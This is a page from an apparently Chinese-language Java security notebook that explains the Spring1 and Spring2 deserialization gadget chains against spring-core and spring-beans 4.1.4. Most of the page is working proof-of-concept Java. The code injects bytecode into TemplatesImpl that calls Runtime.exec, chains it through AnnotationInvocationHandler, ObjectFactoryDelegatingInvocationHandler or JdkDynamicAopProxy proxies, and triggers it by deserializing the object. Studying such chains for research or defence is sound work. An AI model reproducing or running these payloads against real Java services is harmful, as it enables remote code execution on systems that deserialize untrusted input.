Java
  • About This Book
  • 🍖Prerequisites
    • 反射
      • 反射基本使用
      • 高版本JDK反射绕过
      • 反射调用命令执行
      • 反射构造HashMap
      • 方法句柄
    • 类加载
      • 动态加载字节码
      • 双亲委派模型
      • BCEL
      • SPI
    • RMI & JNDI
      • RPC Intro
      • RMI
      • JEP 290
      • JNDI
    • Misc
      • Unsafe
      • 代理模式
      • JMX
      • JDWP
      • JPDA
      • JVMTI
      • JNA
      • Java Security Manager
  • 👻Serial Journey
    • URLDNS
    • SerialVersionUID
    • Commons Collection 🥏
      • CC1-TransformedMap
      • CC1-LazyMap
      • CC6
      • CC3
      • CC2
    • FastJson 🪁
      • FastJson-Basic Usage
      • FastJson-TemplatesImpl
      • FastJson-JdbcRowSetImpl
      • FastJson-BasicDataSource
      • FastJson-ByPass
      • FastJson与原生反序列化(一)
      • FastJson与原生反序列化(二)
      • Jackson的原生反序列化利用
    • Other Components
      • SnakeYaml
      • C3P0
      • AspectJWeaver
      • Rome
      • Spring
      • Hessian
      • Hessian_Only_JDK
      • Kryo
      • Dubbo
  • 🌵RASP
    • JavaAgent
    • JVM
    • ByteCode
    • JNI
    • ASM 🪡
      • ASM Intro
      • Class Generation
      • Class Transformation
    • Rasp防御命令执行
    • OpenRASP
  • 🐎Memory Shell
    • Tomcat-Architecture
    • Servlet API
      • Listener
      • Filter
      • Servlet
    • Tomcat-Middlewares
      • Tomcat-Valve
      • Tomcat-Executor
      • Tomcat-Upgrade
    • Agent MemShell
    • WebSocket
    • 内存马查杀
    • IDEA本地调试Tomcat
  • ✂️JDBC Attack
    • MySQL JDBC Attack
    • H2 JDBC Attack
  • 🎨Templates
    • FreeMarker
    • Thymeleaf
    • Enjoy
  • 🎏MessageQueue
    • ActiveMQ CNVD-2023-69477
    • AMQP CVE-2023-34050
    • Spring-Kafka CVE-2023-34040
    • RocketMQ CVE-2023-33246
  • 🛡️Shiro
    • Shiro Intro
    • Request URI ByPass
    • Context Path ByPass
    • Remember Me反序列化 CC-Shiro
    • CB1与无CC依赖的反序列化链
  • 🍺Others
    • Deserialization Twice
    • A New Blazer 4 getter RCE
    • Apache Commons Jxpath
    • El Attack
    • Spel Attack
    • C3P0原生反序列化的JNDI打法
    • Log4j
    • Echo Tech
      • SpringBoot Under Tomcat
    • CTF 🚩
      • 长城杯-b4bycoffee (ROME反序列化)
      • MTCTF2022(CB+Shiro绕过)
      • CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化)
      • CISCN 2023 初赛 (高版本Commons Collections下其他依赖的利用)
      • CISCN 2021 总决赛 ezj4va (AspectJWeaver写字节码文件到classpath)
      • D^3CTF2023 (新的getter+高版本JNDI不出网+Hessian异常toString)
      • WMCTF2023(CC链花式玩法+盲读文件)
      • 第六届安洵杯网络安全挑战赛(CB PriorityQueue替代+Postgresql JDBC Attack+FreeMarker)
  • 🔍Code Inspector
    • CodeQL 🧶
      • Tutorial
        • Intro
        • Module
        • Predicate
        • Query
        • Type
      • CodeQL 4 Java
        • Basics
        • DFA
        • Example
    • SootUp ✨
      • Intro
      • Jimple
      • DFA
      • CG
    • Tabby 🔦
      • install
    • Theory
      • Static Analysis
        • Intro
        • IR & CFG
        • DFA
        • DFA-Foundation
        • Interprocedural Analysis
        • Pointer Analysis
        • Pointer Analysis Foundation
        • PTA-Context Sensitivity
        • Taint Anlysis
        • Datalog
Powered by GitBook
On this page
  • Spring1
  • MethodInvokeTypeProvider
  • ObjectFactoryDelegatingInvocationHandler
  • AnnotationInvocationHandler
  • Weave Poc
  • Spring2
  • JdkDynamicAopProxy
  • Ref

Was this helpful?

  1. 👻Serial Journey
  2. Other Components

Spring

Spring1

<dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-beans</artifactId>
        <version>4.1.4.RELEASE</version>
    </dependency>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-core</artifactId>
        <version>4.1.4.RELEASE</version>
    </dependency>
</dependencies>

MethodInvokeTypeProvider

切入点在 org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

static class MethodInvokeTypeProvider implements TypeProvider {

    private final TypeProvider provider;

    private final String methodName;

    private final int index;

    private transient Object result;

    public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
        this.provider = provider;
        this.methodName = method.getName();
        this.index = index;
        this.result = ReflectionUtils.invokeMethod(method, provider.getType());
    }

    private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
        inputStream.defaultReadObject();
        Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
        this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
    }
}

readObject会调用this.provider.getType()返回对象的this.methodName指定的方法,这里ReflectionUtils.findMethod和ReflectionUtils.invokeMethod都没有传递Method的参数,因此是无参方法和无参调用。

我们的目标是让this.MethodName为newTransformer或getOutputProperties(这两个都是public方法,findMethod和invokeMethod都没有设置Method的可访问性),让this.provider.getType()返回TemplatesImpl

这个可以通过动态代理实现,先介绍几个调用处理器

ObjectFactoryDelegatingInvocationHandler

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler

private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {

    private final ObjectFactory<?> objectFactory;

    public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
        this.objectFactory = objectFactory;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        String methodName = method.getName();
        if (methodName.equals("equals")) {
            // Only consider equal when proxies are identical.
            return (proxy == args[0]);
        }
        else if (methodName.equals("hashCode")) {
            // Use hashCode of proxy.
            return System.identityHashCode(proxy);
        }
        else if (methodName.equals("toString")) {
            return this.objectFactory.toString();
        }
        try {
            return method.invoke(this.objectFactory.getObject(), args);
        }
        catch (InvocationTargetException ex) {
            throw ex.getTargetException();
        }
    }
}

invoke中会把方法调用委派给objectFactory#getObject()获取到的对象。

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

    public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
            case "toString":
                return toStringImpl();
            case "hashCode":
                return hashCodeImpl();
            case "annotationType":
                return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }
}

invoke的返回值在memberValues中找,key为method方法名。可以返回任意对象。

Weave Poc

TypeProvider#getType返回的是Type接口类,我们可以让一个动态代理类去代理Type接口。

由于接下来ReflectionUtils.invokeMethod(method, this.provider.getType());要调用newTransformer,因此我们这个代理类除了代理Type接口类,还得代理Templates接口类(才能获取到接口类的方法)

获取到的动态代理类Proxy1有如下方法

那如何让TypeProvider#getType返回我们的(Type)Proxy1呢,也是再套一层动态代理,代理TypeProvider接口类,利用AnnotationInvocationHandler返回Proxy1,即设置memberValues.put("getType", Proxy1)

Proxy1的调用处理器设置为ObjectFactoryDelegatingInvocationHandler,这样就能把newTransformer的调用委托给ObjectFactory#getObject的返回对象去调用了。

让ObjectFactory#getObject返回TemplatesImpl即可,到此有两条路可走,继续套动态代理或寻找ObjectFactory的实现类(翻了一下发现不好构造,还是没有动态代理来得优雅)

继续套一层动态代理,代理ObjectFactory<?>泛型接口,利用AnnotationInvocationHandler返回TemplatesImpl,即设置memberValues.put("getObject", TemplatesImpl)

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

public class Spring1 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
        setValue(templates, "_name", "1");

        Class<?> clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> con1 = clazz1.getDeclaredConstructors()[0];
        con1.setAccessible(true);
        HashMap<String, Object> map1 = new HashMap<String, Object>();
        map1.put("getObject", templates);
        InvocationHandler invocationHandler1 = (InvocationHandler) con1.newInstance(Target.class, map1);
        ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler1);

        Class<?> clazz2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
        Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
        con2.setAccessible(true);
        InvocationHandler ofdHandler = (InvocationHandler) con2.newInstance(factory);
        Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{Type.class, Templates.class}, ofdHandler);

        HashMap<String, Object> map2 = new HashMap<String, Object>();
        map2.put("getType", typeTemplateProxy);
        InvocationHandler invocationHandler2 = (InvocationHandler) con1.newInstance(Target.class, map2);

        Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
        Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
                new Class[]{typeProviderClass}, invocationHandler2);

        Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
        Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
        con3.setAccessible(true);
        Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
        setValue(o, "methodName", "newTransformer");

        ser(o);
    }

    public static void ser(Object o) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(o);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
        ois.readObject();
    }

    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }

    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Spring2

在Spring1链基础上有所变化,把spring-beans的ObjectFactoryDelegatingInvocationHandler换成spring-aop的JdkDynamicAopProxy

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aop</artifactId>
    <version>4.1.4.RELEASE</version>
</dependency>

JdkDynamicAopProxy

final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
    private final AdvisedSupport advised;
    public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {
		// ...
		this.advised = config;
	}
}

JdkDynamicAopProxy将方法调用委托给了AdvisedSupport的target成员

直接上POC

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");

AdvisedSupport as = new AdvisedSupport();
as.setTarget(templates);

Class<?> clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> con0 = clazz0.getDeclaredConstructors()[0];
con0.setAccessible(true);
InvocationHandler aopInvocationHandler = (InvocationHandler) con0.newInstance(as);
Object aopProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);

HashMap<String, Object> map2 = new HashMap<String, Object>();
map2.put("getType", aopProxy);
Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
con2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) con2.newInstance(Target.class, map2);
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")}, invocationHandler2);

Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
con3.setAccessible(true);
Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setValue(o, "methodName", "getOutputProperties");

ser(o);

Ref

https://su18.org/post/ysoserial-su18-3/#spring1

PreviousRomeNextHessian

Last updated 1 year ago

Was this helpful?

image-20230926143651300
image-20230926202012275
image-20230926202040784